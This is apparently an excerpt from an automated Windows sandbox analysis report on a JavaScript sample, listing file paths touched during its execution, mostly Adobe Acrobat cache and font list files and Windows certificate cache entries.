C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\17521ea0-0859-46fb-8ce5-4cb37f5aa210.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1352

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1352

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Windows Analysis Report
1071116915318159767.js